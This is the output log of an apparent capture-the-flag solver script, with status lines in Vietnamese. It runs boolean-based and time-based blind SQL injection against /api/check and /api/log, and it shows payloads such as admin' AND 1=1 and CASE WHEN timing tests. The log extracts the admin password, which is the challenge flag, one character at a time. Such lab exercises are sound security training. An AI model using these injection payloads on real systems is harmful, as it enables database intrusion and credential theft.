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[1] BOOLEAN-BASED qua /api/check (oracle FOUND/NOTFOUND)
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  admin' AND 1=1 -> FOUND
  admin' AND 1=2 -> NOTFOUND
  Do dai mat khau admin = 27

  Trich: W
  Trich: WE
  Trich: WEB
  Trich: WEB{
  Trich: WEB{b
  Trich: WEB{bl
  Trich: WEB{bl1
  Trich: WEB{bl1n
  Trich: WEB{bl1nd
  Trich: WEB{bl1nd_
  Trich: WEB{bl1nd_b
  Trich: WEB{bl1nd_b0
  Trich: WEB{bl1nd_b00
  Trich: WEB{bl1nd_b00l
  Trich: WEB{bl1nd_b00l3
  Trich: WEB{bl1nd_b00l3a
  Trich: WEB{bl1nd_b00l3an
  Trich: WEB{bl1nd_b00l3an_
  Trich: WEB{bl1nd_b00l3an_a
  Trich: WEB{bl1nd_b00l3an_an
  Trich: WEB{bl1nd_b00l3an_and
  Trich: WEB{bl1nd_b00l3an_and_
  Trich: WEB{bl1nd_b00l3an_and_t
  Trich: WEB{bl1nd_b00l3an_and_t1
  Trich: WEB{bl1nd_b00l3an_and_t1m
  Trich: WEB{bl1nd_b00l3an_and_t1me
  Trich: WEB{bl1nd_b00l3an_and_t1me}
  => Mat khau admin (FLAG): WEB{bl1nd_b00l3an_and_t1me}

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[2] TIME-BASED qua /api/log (luon tra 'ok', chi do tre)
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  CASE WHEN 1=1 -> tre 1.43s (TRUE)
  CASE WHEN 1=2 -> tre 0.22s (FALSE)
  ky tu 1 = 'W'  (chuoi: W)
  ky tu 2 = 'E'  (chuoi: WE)
  ky tu 3 = 'B'  (chuoi: WEB)
  ky tu 4 = '{'  (chuoi: WEB{)
  => 4 ky tu dau trich bang TIME-BASED: WEB{

[OK] time-based khop boolean (WEB{...). Tong thoi gian 25.5s
